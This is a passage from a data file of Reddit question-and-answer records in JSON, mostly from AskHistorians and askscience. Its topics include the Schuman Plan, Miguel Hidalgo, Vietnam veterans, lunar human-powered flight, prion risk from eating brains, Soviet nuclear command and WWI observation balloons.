various Allied agreements during the war called for German reparations for wartime damages. For France, this included a significant amount of deliveries of Ruhr coal, which would be used to restore the French steel industry.\n\nThe problem was that JCS 1067 was not only unworkable, but encountered significant resistance among both German industrialists as well as a distinct lack of support from the American military government (OMGUS) and the US State Department. JCS 1067 had at best vague ideas of the breakup of German industry and the emerging Cold War made OMGUS chiefs Lucius Clay and his successor James McCloy leery of attacking private enterprise or weakening the German economy. Both the British and American military governments walked away from agreements to dismantle German war industries between 1946 and 1947, often reclassifying them as non-war related concerns. The unification of the British and American zones' economy, Bizonia, in 1947 was not only a signal of the impending formation of a separate West German state, but also a sign that the Americans. and to a lesser extent, the British, had thrown their weight behind a quick German economic recovery. \n\nThese developments put the French government in an awkward position within the Western occupiers. France had consistently pushed for breakups and reparations as well as international control of the German economy. France was one of the main proponents of international control over the Ruhr, which eventually culminated in the Ruhr Statute of 1948 in which the Western powers and Benelux countries controlled the production and allocation of the Ruhr's industries. But this French position was increasingly out of step with their two allies' German policy and caused increased tensions. The British in particular were upset that they had to provide France Ruhr coal at a lower price than the global average because raising the price was under the purview of the Allied Control Council in Berlin, of which both the French and Soviets could block any raising of the price. \n\nMonnet and Schuman, as well as other French leaders recognized the potential danger of pursuing a punitive economic policy and the emerging *Realpolitik* of German economic reconstruction. Internal documents and debates suggested a fear that if France did not act, then Germany would not only rearm, but her strength would put France at a further economic and geopolitical disadvantage. Monnet's proposed union of coal and steel fit within this adjustment to realities. While denationalization and international control of the Ruhr was now unachievable, more grounded schemes of cooperation were still viable. An internal memo circulated in Quai d'Orsay in December 1948 outlined this logic:\n\n > It is in a European framework in which we can still try to settle the German problem. It is no longer a question, to take a specific example, of limiting Germany's production of steel, but of creating with Germany a European steel pool, in which French and Germans would operate equally and exercise a common control over the production of European steel.\n\nBoth the Monnet plan and the subsequent Schuman proposal framed coordination of steel and coal as not serving the interests of the French steel industry, but rather the idea of \"Europe\" itself. \n\nThe French proposals, simultaneously Gaullist and Europeanist, found two unlikely allies: the US and the emerging West German government. The new US Secretary of State Dean Acheson was an advocate for greater French participation in Western Europe's stand against Communism and one of the central planks of American strategy was the interrogation of Western Europe into common networks. The outbreak of the Korean War further underscored the need for a strong European economic recovery. Within Bonn, the Adenauer government welcomed the the French proposals for two interrelated reasons. Firstly, Adenauer perceived that on the domestic front, cooperation would not only denude the powerful German steel industry of its political and economic power base, but that Franco-German accord would deny his SPD opponents a form of political attack. French attempts to carve out a protectorate in the Saar had prompted SPD complaints of the Adenauer government giving sanction to an Oder-Neisse line in the West, and the Schuman plan prevented a further loss of German territory. Secondly, coal and steel cooperation also was a signal of a normalization of West Germany as a proper European state and a symbol of the success of Adenauer's political strategy of *Westbindung* (binding to the West). Economic reconstruction within a Western European framework paved the way for other initiatives for West Germany to reclaim its national sovereignty such as rearmament and a diplomatic presence. As the Schuman proposal morphed into the European Coal and Steel Community, Adenauer praised it in a meeting of the Allied High Commission (the successor to the Allied Control Council):\n\n > Because we see in this plan the cornerstone of a truly lasting foundation for a European confederation, we intend to work for it with all our strength. \n\nMoreover, by championing the European imperatives of the Schuman plan, Adenauer and the German steel industry had cover to fight against the remnants of decartelization policy such as the AHC's Law No. 27 which called for the deconcentration of the Ruhr's industrial concerns into smaller units.  \n\nBut aside from this overall geopolitical context of 1945-1950, there was a second reason why French economic and foreign policy experts gravitated towards the steel and coal. There was a long tradition of economic cooperation and price-fixing between French, German, and Benelux steel production that stretched back to the mid-1920s and even earlier. German steel producers' desire to dominate their neighbors' steel production in the First World War was much more of an aberration in the German steel industry, which rather preferred cooperation on pricing and deals to carve up markets. Counter-intuitively, Franco-Benelux-German steel and coal cooperation rose during the 1930s. The Depression revived the  International Steel Cartel (ISC), founded in 1926, and it expanded into the International Steel Export Cartel (ISEC) and sought to set quotas and pricing for the steel industry in Western Europe. The Depression along with the rise of Hitler put an end to these tentative steps to a Franco-German cartel. But the idea of interstate cooperation did not die after 1933.  Quai d'Orsay pushed for greater Franco-German cooperation in steel and coal as a means of economic appeasement that would muzzle Hitler and prevent war. The Rhine countries were characterized by a thickening network of deals over steel and coal as the thirties dragged on. The onset of war changed the direction of this economic relationship into a more German-centric direction, but the steel magnates of Belgium and France were among the few non-German elites who had any sort of measurable enthusiasm for the German-led new order in the wake of France's defeat. The Belgian banker Belgian banker Baron de Launoit, for example, envisioned the region as a solid economic unit and that \"We businessmen should burst state borders and learn to cooperate.\" But such economic collaboration proved to be short-lived under the avaricious German occupation policy, which not only alienated Western European industrialists, but also left a sour taste among some German steel and coal magnates as their industries became subordinate to the Economics Ministry and other NSDAP cronies. \n\nSo, in short, much of Western Europe was primed to make coal and steel cooperation one of the cornerstones of postwar recovery and a return to normalcy. Not only was steel important, but coordination ticked off a number of political boxes for the various parties involved and the French packaging the initiatives as \"European\" was able to smooth out a number of the contradictions in pooling the Rhine basin's resources. Much of the institutional groundwork had been laid in the 1920s and 30s and even the wartime experience of forced integration served to make the ECSC possible by providing a negative model of how *not* to coordinate the regions' steel and coal industries.  \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/58hm4p/why_did_robert_schuman_and_jean_monnet_design_the/"]]}
{"q_id": "75nkad", "title": "Per the earliest accounts, Mexican independence hero Miguel Hidalgo shouted \"Long live Ferdinand VII!\" when he took up arms against the gov't of New Spain, so why does no one seem to be willing to call him a small-r royalist?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/75nkad/per_the_earliest_accounts_mexican_independence/", "answers": {"a_id": ["do886vv"], "score": [3], "text": ["Because it was a ruse.\n\nSeveral leaders and juntas, but not all, in the many wars of independence in Latin America in the early 19th century used a supposed loyalty to Fernando VII to grow their base of support that in many cases were not clamouring for independence or had any ill-will towards the king. Through this, juntas and leaders could proclaim home rule in the name of Fernando VII in opposition to the illegitimate monarch installed by Napoleon after 1808.\n\nMiguel Hidalgo certainly took advantage of this \"mask of Fernando\" (as its known historiographically) to shield himself and the nascent independence movement in New Spain from any accusations of disloyalty towards the king. Although Hidalgo did not take pleasure in putting on the mask of Fernando VII, he mixed loyalty to the monarchy with attacks against Europeans (*Gachupines*) in New Spain in his famous speech in Dolores. This worked wonders for Hidalgo and revolutionary movements around Latin American who appealed to loyalty to the king. It might seem strange to us as to why revolutionaries would spout a different ideology than the one they truly wanted to achieve, but a closer look at the contemporary context of warring movements and even governments meant that in those fateful first years of the independence conflicts, you had to thread a fine line so as to not lose supporters to other groups, sometimes as close as a different junta in a different city. Furthermore, we can't assume that all revolutionary leaders and juntas were looking following *republican* principles. Jos\u00e9 de San Mart\u00edn, for example, was far more interested in a constitutional monarchy than a republic.\n\nPredictably to us now, the ruse sooner or later stopped working and many threw off the mask when the time was right. This included Hidalgo who stopped evoking Fernando VII's name to gather support for his movement."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5p4xaq", "title": "Did soldiers really get spit on coming back from Vietnam?", "selftext": "I am questioning this for a couple of reasons:\n\nA soldier coming back from Vietnam would have been on a military flight vs. commercial; so civilians wouldn't be there when they landed.\n\nA battle hardened soldier who was just coming back from Vietnam would have *literally* killed a punk kid spitting on them.\n\nIf they were flying back home from their base, they would have traveled in their civilian clothes. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5p4xaq/did_soldiers_really_get_spit_on_coming_back_from/", "answers": {"a_id": ["dconra9", "dcopk5n", "dcpfefj"], "score": [63, 28, 15], "text": ["Where did you hear they did?", "Hi there -- you may be interested in [this older thread](_URL_0_) on the topic, particularly the answer from u/Bernardito. ", "Generally speaking, the idea of Vietnam veterans being spit on is considered to be a myth. That's not to say that it *never* happened (that's next to impossible to prove), but most of the stories are undocumented, didn't lead to arrests or specific newspaper articles about the incident, happened to \"a guy i knew's cousin\", etc. While there was a lot of anger about Vietnam toward the end of the war, much of that was directed toward government officials (over things like the Tet Offensive and the bombings in Cambodia and Laos) rather than the soldiers themselves.\n\nJerry Lembcke argues in *The Spitting Image* that these stories of protesters spitting on returning veterans were fueled by the Nixon administration as a way to de-legitimize the anti-war Left/youth movements, and to prevent a political alliance between anti-war protesters and the veterans themselves, many of whom were also disillusioned with the war and with the government. In general, Vietnam led to a lot of ideological battles over who was \"to blame\", whether it was actually a loss, etc., and the \"spitting on soldiers\" myth appears to be a major piece of that puzzle.\n\nSources:\n\nJerry Lembcke, *The Spitting Image: Myth, Memory and the Legacy of Vietnam*\n\nAlso, see: Michael Allen, *Until the Last Man Comes Home: POWs, MIAs and the Unending Vietnam War* for more about Vietnam memory"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/AskHistorians/comments/qkv5n/did_protestors_spit_on_returning_vietnam_vets/"], []]}
{"q_id": "1ak7zz", "title": "If we built an enclosed, pressurized structure on the moon, would a human wearing a wing suit be able to sustain flight under his own flapping power?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ak7zz/if_we_built_an_enclosed_pressurized_structure_on/", "answers": {"a_id": ["c8y62wq", "c8y9waq", "c8ybznn", "c8yeubf"], "score": [302, 133, 20, 3], "text": ["I don't think there are any suits capable of this at present.*\n\nThe Moon has about 1/6 the surface gravity of Earth, so ~~the glide ratio of a wing suit would be increased by a factor of 6 if the air density was the same as on Earth.  This means that a wing suit would have a glide ratio better than that of the Space Shuttle, and on par with a commercial airliner, but not as high as a sailplane.~~\nthe glide ratio will remain the same, but the amount of power required to sustain flight will be reduced by a factor of about 15.\n\n*It should be noted that there are powered wing suits that can fly on Earth, so those would obviously fly under their own power in this scenario, though it's not by flapping.\n\nAlso, since you're building a hypothetical giant pressurized building, you could increase the density of air to further manipulate things.  With higher density, it gets easier to fly, and at extreme densities, \"swimming\" through the atmosphere becomes possible, although at those densities, the pressure would cause other problems.\n\n**Edit:**  Many have pointed out that I didn't answer the question in terms of \"flapping power.\"  To my knowledge, there is no existing suit capable of this, so it would be speculation to try to answer that exact question. (There was a [guy](_URL_0_) who claimed to do exactly this, but I believe he later admitted it was a hoax.)\n\nIf the question was reworded to just mean in terms of general human-powered flight, /u/asdf90j2309jasdf answers the question with calculations for hovering [down here](_URL_1_).", "I think you'll find a lot of answers you're looking for in [this](_URL_0_) xkcd. It has more to do with air density, so there are a couple planets/moons in the solar system where you could do this without an enclosed structure. \n\nI think it's important to specify how pressurized you're talking; theoretically, an enclosed, pressurized structure on planet earth would be suitable for human powered flight as well.", "I would like to expand on this by asking: what about a self-powered helicopter?\n\nI decided to dive into this one, and here's what I came up with:\n\nA trained bicyclist can output about 1/4th of a horsepower continuously.\n\nAccording to [this](_URL_0_), we can say 105 lbs of thrust = 1 horsepower, meaning that a human can output 26 lbs of thrust. Since things weigh 6x less on the Moon, then one could maintain a hover if they weigh less than 156 lbs on the Earth, assuming 100% efficiency and not including the weight of the machine. So, I think it would be possible to build a helicopter bicycle that you could fly if you're fit enough, but you would have to pedal so hard that you would get exhausted quickly. It would be a trip that lasts but a few moments.", "Nobody has answered the question of what sort of thrust a human could make with a wingsuit.  I'd suspect it's only a few fractions of a pound.  I'm not even sure you'd develop enough forward airspeed to make the efficient wingsuits inflate on the moon.\n\nNow, could you fly on your own power?  Definitely.  You can do that in earth gravity.  For long periods.  (Eg; gossamer albatross)  Instead of needing 1/4hp you could do it on 1/24hp.  1/12hp is something that even \"untrained humans\" can develop.  So \"everyone\" could pedal a plan around your theoretical stadium.  \n\nCan a human develop 1/24hp with their arm and chest muscles?  That's another question.  And one I suspect is a \"yes.\"  So you could be Icarus if you felt like it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.humanbirdwings.net/tag/jarno-smeets/", "http://www.reddit.com/r/askscience/comments/1ak7zz/if_we_built_an_enclosed_pressurized_structure_on/c8ybznn"], ["http://what-if.xkcd.com/30/"], ["http://www.reference.com/motif/reference/convert-horsepower-to-pounds-of-thrust"], []]}
{"q_id": "1qm85s", "title": "Various cultures eat cow brains on a regular basis. Is this not dangerous? Why isn't there a high rate of BSE in these cultures?", "selftext": "maybe I'm just ignorant? But I thought eating brains was a dangerous thing to do and carried the risk of contracting certain types of diseases Like bovine spongiform encephalitis? yet these cultures don't seem to have a high rate of that disease.\n\n\nRe:\n_URL_0_.\n\nBeef brains and veal (juvenile beef) or calf's brains are used in the cuisines of France; Italy; Spain; El Salvador; Mexico, etc. where they are called sesos in Spanish and are eaten in tacos and quesadillas; Pakistan, where they are known in Urdu as Maghaz; Portugal; Indonesia; and in the United States, especially in St. Louis, Missouri, and the Ohio River valley.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1qm85s/various_cultures_eat_cow_brains_on_a_regular/", "answers": {"a_id": ["cdeawh7", "cdeb5jo", "cdei50m"], "score": [29, 12, 3], "text": ["Eating brains does run a higher risk than eating muscle or other organs, but that risk is still very low. If you read about the epidemiology of Creutzfeldt\u2013Jakob disease (CJD), the most common prion disease, the incidence was 1 in 1,000,000 from 1979 to 1994 and 5 in 1,000,000,000 in those under the age of 30 in the US. With that said, CJD is is thought to have a 20-50 year incubation period which could explain why it's so rare in young people. I think more supportive (or contradictory) evidence of this will start appearing in the 2000-2040 time frame (20-50 years after) the UK 80s-90s outbreak and those that ate that tainted beef.\n\nTesting for BSE in cattle and discarding those that have the disease helps protect those that eat cattle organs (particularly the brain).  \n\nTLDR: It's all about statistical probability and the risk of a prion disease infection is very low.", "Tougher for the prions to transmit from cows to humans, however, cultures like the \"Fore\" in Papua New Guinea experienced much higher rates of prion-related diseases, [Kuru](_URL_0_), because they used to consume the body and brains of their deceased. Ironically, they only would participate in this ritual if the deceased looked healthy upon their death, and Kuru had a side effect of 'marbling' muscle making it more appetizing--only leading to the continuing spread of the disease. \n\nSource--wrote a research paper on Kuru and CJD for a physio class", "In addition to what others have written, a major problem with the 90s  outbreak was how modern western food systems operate. \n\nFor one, cows in many places were being given meat, bone and feather meal in their feed that may have been contaminated and may have spread the disease. On their natural diet of grass, cows may still spontaneously develop a prion disease, but it would be less likely. \n\nSecondly, meat products now often involve blending of meat from from different cows. That effectively multiplies the chances by however many individual cows contribute to a particular hamburger. When eating a brain, however, it is likely just a single cow involved."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Beef_brain"], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Kuru_%28disease%29"], []]}
{"q_id": "ay4te8", "title": "how did people of ancient civilizations know that they were part of a new empire or such when wars occurred and civilizations expanded into different regions?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ay4te8/eli5_how_did_people_of_ancient_civilizations_know/", "answers": {"a_id": ["ehy8xbn", "ehybwgg", "ehyfdc9", "ehyjg8p", "ehymo5j", "ehyozo6", "ehypta6", "ehyq22z", "ehyqbfg", "ehyryy3", "ehysdi0", "ehznyoy"], "score": [63, 730, 116, 30, 15, 3, 21, 6, 7, 5, 3, 2], "text": ["An empire usually expanded through conquests or marriage.  If there is a set of battles leading to the expansion you would understand this from the foreign army attacking your village and taking it over.  And if the ruler married a neighbouring princess you would have also known that as there would have usually been celebrations.  So even if you were in an ancient kingdom and weren\u2019t able to understand a word from the local language and your ruler changed, believe me, you would have noticed the noise that surrounded the change", "They didn't necessarily. You don't have to conquer every single village to take over a territory. You might send your own tax collectors there, but you might also send the ones who previously did, just that they now collect taxes for you. A conqueror might also mint new coins, which would probably be noticed by the population. Coins were in fact one the most important means of propaganda in the ancient world. ", "Ancient communication was generally done by messengers, either on horse or on foot. Certain empires (like the Persians) were noted for having well organised systems of messengers to transmit news from one end of the land to the other. Rulers would transmit messages to their subject nobles who may or may not transmit it further down the chain to the merchants and peasantry etc.\n\nNews also spread through informal messengers, basically anyone who was traveling from one place to another could be asked for news. My vague understanding is that part of the concept of ancient hospitality was that in exchange for shelter you would provide the latest news from wherever you'd come from.", "I don't think the common peasantry knew or really cared who was i charge.", "When the dude who is wearing amazing clothing/armor riding a horse, and all of his similarly dressed buddies on thier horses, tells you that youre a part of the persian empire now, is when you know youre part of the persian empire. \n\nIm sure other empires have similar stories.", "You need to realize that before computers and newspapers and stuff, there wasn't much to do, so people gossiped like crazy. They were fascinated by foreign lands. Every night was just hours of storytelling. What do you mean how did they find out, word spread like a virus back them.", "Well, if you're a rural farmer living in a tiny village (and statistically for most of history, you probably are), you'd usually find out the next time you tried to sell your surplus crops and crafts at market in the nearest population center and found it either besieged or under new management. If you lived in said population center, you usually find out when a bunch of guys ride through town destroying your stuff and murdering/pillaging indiscriminately. This may be after starving you out for a while.\n\nIf we're talking about Rome, you'd find out when some guys in scale armor came through your village building a road and maybe some baths/a temple/literally just some columns. There's also about a 50% chance they'll enslave you and/or start taxing the hell out of you.\n\nsource: about to graduate with a BA in classical archaeology.", "As mentioned before with coins being part of propaganda, conquerors would also mass commission sculptures of themselves to be sent out into these new territories. They would send these busts out with their armies to be left in different villages along the way. This allowed the new citizens to see who the new conqueror is. ", "Most villages - even now - communicate with the nearest town which in turn communicate with the nearest city for various official and non-official reasons. If that city fell, the news will cascade down the hierarchy.", "I'll use Rome as an example.  This is what they did:\n\n* Spread their culture.  They wanted the native people of the territories they conquered to be more like them and assimilate into their society.  This included trading, giving people gifts, building new buildings in a town, making cities and towns more important, etc.  \n\n* Architecture:  New buildings were built in the Roman style.    \n\n* Increasing production in rural areas.  The more rural areas had to grow more crops in order to meet the new demand of the empire.\n\n* Religion: The Romans would equate native gods to the Roman gods.  Rome would also absorb the native religions into their own.\n\n* Military:  The Romans would enlist the native people into the army.  \n\n\nThis can be applied to most ancient civilizations.  The general changes were to religion, laws, language, culture, military and architecture.   \n\n", "I can't speak for every civilization, and they weren't even ancient, but the Incas had an extremely complex \"postal\" system through the chasquis, running messengers specially trained to run up to 240kms a day to deliver quipus, a type of message made by tying small knots specifically arranged to create a code. That's how messages and news were delivered in the biggest empire in American history, which was constantly expanding so news of annexations were frequent.", "Soldiers marching into town was a *pretty* good indicator. And if not that, their messengers and tax collectors marching in would tip you off."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "295hxd", "title": "Can anyone tell me about these numbers on the side of a WW1 German Mauser? (X-post from r/Guns)", "selftext": "I'm cross posting this question because I can't determine which sub is the best sub. The sub r/guns didn't seem to have a lot in the way of historic content. I'm trying to trace the history of this gun and hopefully learn a little bit about it. Sorry if this is too specific a question for this sub.\n\n[Here are the pictures](_URL_0_).\n\nI'm interested in learning anything worth knowing about this gun but I'm mainly curious about the numbers and initials on the side. I'm guessing it might be the *serial and initials of the original owner*. My googling didn't any sites that would allow me to search and find who it originally belonged to though.\n\nHere's its history as far as we know: Basically it was brought back from WW1 by my great-uncle. Its been in our family for awhile. He fought in WW1 in France. He most likely got in there and brought it back with him to the US.\n\nMy mom is big into genealogy, so I'm sure she'd appreciate finding out a little bit about where it came from and who owned it before it came into our family.\n\nEdit: To add, the initials are not my great Uncles. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/295hxd/can_anyone_tell_me_about_these_numbers_on_the/", "answers": {"a_id": ["cihrfq7", "ciht46o"], "score": [3, 2], "text": ["The rifle seems to be a Gewehr 98, the standard infantry rifle, but given the extreme close-up photos, I could perhaps be mistaken; it could be a K98A or K98B carbine. \n\nThe graffiti is what's known as trench art. Soldiers, out of boredom or vanity or whatever reason, carved doodles, symbols, and personal details into the wooden furniture of their rifles. As to what it means, I would guess that the initials are either the soldier's own or someone close to him, a wife or sweetheart. As to the numbers, that has me stumped. As far as I know, German ID numbers were generally 3 or rarely 4-digit, but this one is 5.", "Yup, what the short southern man said. Trench art. Might have been punched with the base  of a spent rifle cartridge.  Do your uncle's initials match those of great uncle? "]}, "title_urls": [], "selftext_urls": ["http://imgur.com/a/4VyY6"], "answers_urls": [[], []]}
{"q_id": "32tksx", "title": "40 years ago how many people in the USSR would have had to agree to give the order, before they could launch a nuclear strike on the US?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/32tksx/40_years_ago_how_many_people_in_the_ussr_would/", "answers": {"a_id": ["cqeo1si", "cqeq2wg", "cqery1b", "cqevss9", "cqf33wp", "cqf5jql", "cqf7q83"], "score": [104, 408, 27, 13, 2, 6, 4], "text": ["And in contrast, what was the reverse?\n\nHow many people in the US had to agree?", "Soviet defector Oleg Penkovsky, active approximately a decade before you are asking, said: \"... The employment of atomic weapons will be the decision exclusively of the Central Committee of the Communist Party through the Ministry of Defense.\" This implies that it was simply a majority vote of a sub-committee of the Central Committee.\n\nSources:\n\nPenkovsky, Oleg. *Lt. Col. Oleg Penkovsky: Western Spy in Soviet GRU*. CIA Freedom of Information Act Electronic Reading Room. Meeting 5, Paragraph 91.", "Piggybacking on this, how many people at a given Soviet launch site were needed to arm the warhead/fire the weapon? IIRC the captain and political executive officer of missile subs both had to turn launch keys, but what about land based Strategic Rocket Forces?", "I don't know about a first strike, but a retaliatory strike could potentially have been launched by a relatively junior officer, based on standing orders from their central military apparatus.  I haven't read the book \"[The Dead Hand: The Untold Story of the Cold War Arms Race and its Dangerous Legacy\" by David E. Hoffman](_URL_1_), but it was about a Soviet system called \"Perimeter,\" also called \"Dead Hand,\" which was a system meant to retaliate in the event of the destruction of, or at least communications cut off from, the central military apparatus in Moscow. \n\nAll I've got to link to is [wikipedia's description of Dead Hand/Perimeter based on the book](_URL_0_), and I know that's not really bueno here, but one should really read the book to get the picture.", "Nuclear control was in the hands of the Defense Council, which was an organ of the Central Committee of the Communist party.\n\nThe Defense Council consisted of the General Secretary, Premier, Defense Minister, KGB Director, Chief of the General Staff, Minister of Internal Affairs, and chairman of GOSPLAN.", "If you are interested in the Soviet nuclear (and chemical/biological) weapons program I would HIGHLY recommend The Dead Hand by David E. Hoffman. The Soviets had planned to make an entirely automatic \"fail-deadly\" missile counterattack system, but cooler head prevailed and they inserted three duty officers that would decide to strike back if certain conditions (inability to reach command, radiation levels etc.) were met.", "Additional question: is there historical evidence of anybody with nuclear vote authority in either US or USSR governments trying to make a nuclear attack happening?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Dead_Hand_%28nuclear_war%29", "http://www.goodreads.com/book/show/6623920-the-dead-hand"], [], [], []]}
{"q_id": "48l6x7", "title": "Why C squared?", "selftext": "Hello.\nIn the equation E=MC2, I get that it's saying energy = mass, and the speed of light squared is how to convert between the two...\nSo it could also be written as: E divided by C squared = mass.\n\nFirstly, I'm confused about what the measurement is here.. what is the common measurement comparing mass and energy?\n\nAnd the question that I'm the most interested about... Why is it C squared?\n\nThanks", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/48l6x7/why_c_squared/", "answers": {"a_id": ["d0kilcp", "d0kjtl6", "d0kk4ad", "d0kmw0p"], "score": [67, 27, 3, 4], "text": ["First, the conceptual issue: the energy the formula is talking about is the total **internal** energy of your body/system. It does not include energy due to its overall motion (kinetic energy) or due to interaction with its surroundings. It's also called *rest* energy because it's the energy the system has when it's at rest (meaning still) and it's not interacting with anything else. \n\nSo Mr. Einstein is telling you the internal energy and mass are proportional.\n\nNow, what is the constant of proportionality? Well, since this relationship is universal, it can only involve fundamental constants. There are many: c, hbar, G, k_B... however, remember that this is a formula from special relativity. Only c is relevant to relativity; c is the only constant appearing in the formulation of the theory. Since the fundamental constants are independent, you cannot end up with powers of hbar or G or k_B... just by playing around in a theory where only c appears.\n\nSo our constant of proportionality between E_0 (zero to mean rest energy) and m can only be built out of c. Therefore it must be equal to A c^(p), a power of c at most multiplied by a numerical factor A - I mean A is a dimensionless number. \n\nYou are asking why p=2. It's immediate from dimensional analysis: energy has units of mass * length^2 / time^(2) (just take any formula you know for any form of energy - it doesn't matter - and check the units yourself), while mass has units of, well, mass.\n\nSo our equation E_0 = ( A c^p ) m becomes, in terms of units:\n\nmass * length^2 / time^2 = length^p / time^p * mass\n\nSo that p *has* to be 2 for it to be dimensionally consistent. That's it. You don't need to know the actual physics to guess things like this one, just some dimensional analysis.\n\nYou need to know some relativity to derive that A = 1 though. That's because the *actual* physics, the essential content of a physical theory, is always in the **adimensional** factors; the dimensionful part is almost always banal.", "There is a pretty easy way to derive this using doppler redshift, the momentum of photons, and the equivalence of different frames in special relativity. \n\nConsider an object at rest that emits a burst of monochromatic light equally in all directions, say a ball covered in green LED's. The photons have some momentum (p = hf/c, where f is the frequency). The velocity and momentum of the ball will still be zero after the flash, because the photons were emitted in every direction so all of their momentum cancels out. We also know the internal energy of the ball must decrease after the flash (E = hf for each photon).\n\nNow we switch to a frame where the ball is moving. The ball has momentum p*_ball_*=mv. Now when it flashes, the ball loses about the same amount of energy but it also loses some momentum. Why? There is a doppler shift in the light, so the light moving forwards is slightly more blue and the light going backwards is slightly more red. For small velocities, this doesn't change the total energy of the photons by much (some are higher and some are lower, so the sum is the same) but it does change their total momentum. The blue photons going forward have more momentum (absolute value) than the red photons going backwards. Instead of cancelling out, there is a net forward momentum to the photons so by conservation of momentum the ball must have lost a little momentum.\n\nBut we also know the ball can't slow down, because in the first reference frame the velocity didn't change before and after the flash. The only way to lose momentum without changing velocity is to lose mass. The amount of mass lost turns out to be related to the energy of the photons by E=mc^(2).\n", "I recommend thi [episode of PBS spacetime](_URL_0_), which discusses this issue, and gives a (hopefully) easy-to-understand answer to your question: The speed of light enters into the equation because all mass arises from confinement of interactions that happen at the speed of light. This is the same \"[photons in a box](_URL_1_)\" model Einstein used when deriving the relation.", "A better way to think about it is that an object has a certain amount of energy simply because of its mass. That energy is equal to the mass times some constant, which happens to be c^(2). (Others have explained why the constant needs to be c^(2), or at least proportional to it.)\n\nObjects _can_ also have other types of energy (kinetic, potential, electromagnetic, etc.), but then you have to use other formulas to account for those other types. The mc^(2) is only the part that comes from the object's mass itself."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=gSKzgpt4HBU", "http://www.adamauton.com/warp/emc2.html"], []]}
{"q_id": "3wozg2", "title": "What was the casualty rate among observation balloon observers in WWI?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3wozg2/what_was_the_casualty_rate_among_observation/", "answers": {"a_id": ["cxy2r1k"], "score": [33], "text": ["Interesting question. I came across [Aerial observation; the airplane observer, the balloon observer, and the army corps pilot](_URL_0_), copyright 1921 and written by Harold E Porter, Formerly Captain, Air Service, United States Army. I scanned the book for \"danger\" (I understand that this is now the academically respectable technique of \"remote reading\", not to be confused with the egregious sin of \"not reading your sources\"). Unfortunately the book seemed rather inconsistent, and gave no statistics. I found the following quotations interesting.\n\n >  Sir David Henderson, testifying \nin the R. F. C. inquiry of 1916, declared that the \nleast dangerous of all aerial work is fighting in a \nfighting machine; and perhaps this is sound, for the \nObserver's peril is certainly greater, and there are \nnot many more kinds of aerial work, anyway. The \nchasse Pilot has a few short, sharp actions, and is \nthrough for the day; the Observer and the army corps \nPilot fly for hours at a time, frequently under continuous fire from the ground, and always the attacked, \nand never the attacking party in a fight. Certainly \nthe figures show that fewer chasse Pilots than Ob- \nservers, or army corps Pilots, are killed or wounded. \nThe infantryman is in greater peril than any of them. \n\n----\n\n >  The danger of flying is one thing, and the danger \nof aerial observation in actual warfare is another. \nThe broad general principle is clear \u2014 if anything \nhappens to the ship, there isn't much to do about \nit. In the recent war there was seldom a parachute, \nsuch as the balloonist has, to drop with.\nBut the Balloon Observer has a serious and a \ndangerous mission, and although it is certainly less \ndangerous than that of the Airplane Observer, and \ncertainly not so important in general, it is very important indeed in particular.\n\n----\n\n >  As to the danger and discomfort of balloon observation, it is acute, but it is very different from the \ndanger and discomfort of airplane observation. For \none thing, the stationary post of the balloon means \nthat the fire from Archie is less. It is annoying, \nbut only a few direct hits are made (Lieutenant Black \nsays that no British balloon was ever brought down \nby enemy gunfire). Nevertheless, the heaving about \nof the basket by near-by explosions is rather more \nexciting than anything the flyer gets from the ground; \nespecially since the balloon has to sit still and take its \nmedicine, or quit entirely, and go down to earth. \nBut to offset this, there is the hostile airplane which \ncomes along, preferably early in the morning or late \nat night, and fires tracer bullets into the balloon, \nsending it down in flames. (The balloon doesn't \nexplode; it burns.) The Observer has no possible \nmeans of defending himself, but on the other hand, \nhe is often warned by telephone of the approach of \na plane which he himself hasn't seen. That is why \nattacks are made at early morn and dewy eve \u2014 the \nattacking plane can't be seen so clearly either by the \nObserver or by the ground. The Observer can \nalways demand to be hauled down; but in the end, if he is shot down, or sees that the destruction of the  sausage is inevitable, his one recourse is to go over \nthe side, and even then he has four great dangers. \nOne is that the parachute won't open; one is that \nbits of the burning balloon fabric (for no method of \nfire-proofing it has ever proved successful) will \ngraze and ignite the parachute; one is that the enemy \nairplane will follow him down, firing at him (although \nin view of the machine guns on the ground, this is \ndangerous to the enemy); and the last is that he \nmay land in anything from a river to a mass of \nbarbed wire. You would hardly believe that even a \nGerman would try to shoot an Observer coming down \nby parachute, but they did it \u2014 and more than one \nyoung man knows what it must feel like to be a \npartridge in the open season. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.archive.org/stream/cu31924030744688/cu31924030744688_djvu.txt"]]}
